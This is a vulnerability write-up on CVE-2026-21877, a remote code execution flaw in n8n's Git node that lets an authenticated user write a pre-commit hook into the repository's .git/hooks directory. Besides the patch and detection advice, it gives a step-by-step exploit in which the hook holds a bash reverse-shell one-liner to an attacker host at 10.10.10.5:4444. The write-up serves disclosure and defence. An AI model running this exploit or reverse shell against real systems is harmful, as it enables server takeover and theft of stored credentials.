CVE-2026-21877

Git Hooked: RCE in n8n's Git Node

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 7, 2026·6 min read

Executive Summary (TL;DR)

n8n's Git node failed to block writes to the `.git/hooks` directory. Authenticated attackers could use this to write a malicious `pre-commit` hook and trigger it, achieving Remote Code Execution (RCE) on the host server with the privileges of the n8n process.

A critical RCE vulnerability in the n8n workflow automation platform allows authenticated users to execute arbitrary code by manipulating the Git node to write malicious hooks into the repository's `.git` directory.

The Hook: Automation Meets Danger

n8n is the darling of the low-code automation world. It connects everything to everything—your CRM to your Slack, your email to your database. It is, by definition, a hub of high-privileged credentials and sensitive data flow. To make life easier for developers, n8n includes a Git Node. This component allows workflows to interact with Git repositories: pulling code, pushing changes, and managing version control directly from the automation pipeline.

Here is the philosophical problem: Git is not just a version control system; it is a filesystem manipulator with a built-in execution engine. When you give a web application the ability to perform raw Git operations, you are handing it a loaded weapon. If you don't put the safety on, it's going to blow its own foot off.

In CVE-2026-21877, the safety was definitely off. The vulnerability lies in the assumption that users will only want to write 'safe' files—like text files or JSON configs—to their repositories. But security research isn't about what users should do; it's about what they can do. And in this case, they could do something very spectacular.

The Flaw: A Classic Path to RCE

The core of the issue is an Arbitrary File Write vulnerability, specifically mapped to CWE-22 (Path Traversal) and CWE-434 (Unrestricted Upload). The Git node allowed users to define the path where a file should be created or updated within the repository.

Standard logic suggests you might want to write to src/config.json. But without proper sanitization, nothing stopped a user from writing to .git/hooks/pre-commit.

For those uninitiated in the dark arts of Git internals: Git Hooks are scripts that Git executes before or after events such as: commit, push, and receive. They are just shell scripts. If you can write a file to .git/hooks/pre-commit and make it executable, Git will blindly run whatever code is inside that file the next time a git commit command is issued.

This is a known attack vector in client-side Git security (often requiring social engineering to get a dev to clone a malicious repo). However, in n8n, this vector moved server-side. The attacker didn't need to trick anyone; they just needed the permissions to configure a workflow.

The Code: The Missing Guardrail

Let's look at the logic gap. While we don't have the raw source code in front of us, the behavior describes a classic missing blocklist.

The Vulnerable Logic (Conceptual):

// Hypothetical vulnerable implementation
async function writeToRepo(filePath, fileContent) {
  // No check to see if filePath is inside .git/
  const absolutePath = path.join(repoRoot, filePath);
  await fs.writeFile(absolutePath, fileContent);
  // ... perform git add/commit
}

In the vulnerable version, the input filePath was trusted. The system assumed the user was a benevolent automator.

The Fix (Conceptual):

The remediation in version 1.121.3 introduced a strict blocklist. It explicitly forbids writing to the .git directory, treating it as a sacred, untouchable space.

// Patched logic
async function writeToRepo(filePath, fileContent) {
  if (filePath.includes('/.git/') || filePath.startsWith('.git/')) {
    throw new Error("Security Violation: Access to .git directory is forbidden.");
  }
  const absolutePath = path.join(repoRoot, filePath);
  await fs.writeFile(absolutePath, fileContent);
}

This is a simple but effective fix. By denylisting the .git directory, the avenue for hook injection is closed completely.

The Exploit: From Workflow to Shell

Exploiting this requires an authenticated user with permission to create workflows. In many organizations, this role is given to junior devs or business analysts—people who shouldn't have root access to the server.

Step 1: The Setup The attacker logs into n8n and creates a new workflow. They drag a Git Node onto the canvas.

Step 2: The Poison They configure the Git Node to 'Write File'.

  • File Path: .git/hooks/pre-commit
  • File Content:
    #!/bin/bash
    /bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1

Step 3: The Trigger The attacker adds a second Git Node operation to the workflow, or configures the same node to perform a commit operation immediately after the write.

Step 4: Execution The attacker hits 'Execute Workflow'.

  1. n8n writes the malicious script to .git/hooks/pre-commit.
  2. n8n executes git commit via the system shell.
  3. Git sees the pre-commit hook and executes it.
  4. The reverse shell connects back to the attacker.

Step 5: Profit The attacker now has a shell as the n8n user. They can dump the SQLite/Postgres database containing credentials for every other service n8n connects to (AWS, Stripe, Slack, etc.).

The Impact: Why This Scores a 9.9

A CVSS score of 9.9 is nearly maximum severity. Why? Because n8n is an orchestrator.

If you compromise a simple web server, you might get the web server's data. If you compromise n8n, you get the keys to the kingdom. n8n workflows often contain hardcoded API keys, OAuth tokens, and database connection strings for production environments.

Furthermore, because the attack happens server-side (in the context of the application), there are usually few internal firewalls stopping the n8n server from talking to other internal infrastructure. It is the perfect pivot point for lateral movement.

The only thing saving this from being a perfect 10.0 is the requirement for authentication (PR:L). However, in many corporate environments, internal tools like n8n have lax internal authentication policies, making this a trivial hurdle for an insider or an attacker with a single compromised credential.

The Fix: Shutting the Door

If you are running n8n, check your version immediately. If it is below 1.121.3, you are vulnerable.

Primary Remediation: Update to the latest docker image or npm package. The patch is robust and kills the attack vector by preventing file writes to sensitive git paths.

Workaround (If you can't patch): You can disable the Git node entirely using environment variables. This is a nuclear option but effective if you don't actually rely on Git integration in your workflows.

N8N_BLOCK_NODES=n8n-nodes-base.git

Detection: Check your n8n server's filesystem. Look for .git directories inside your workflow storage areas. Specifically, check .git/hooks for any scripts that shouldn't be there. A legitimate n8n git repo usually shouldn't need custom hooks.

Official Patches

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected Systems

n8n workflow automation platform < 1.121.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n
< 1.121.31.121.3
AttributeDetail
CWECWE-94 (Code Injection) / CWE-22 (Path Traversal)
CVSS v3.19.9 (Critical)
Attack VectorNetwork (Authenticated)
Privileges RequiredLow (User capable of editing workflows)
ImpactRemote Code Execution (RCE)
StatusPatched (v1.121.3)
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Vulnerability Timeline

n8n version 1.121.3 released with fix
2025-11-26
CVE-2026-21877 Published
2026-01-06

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.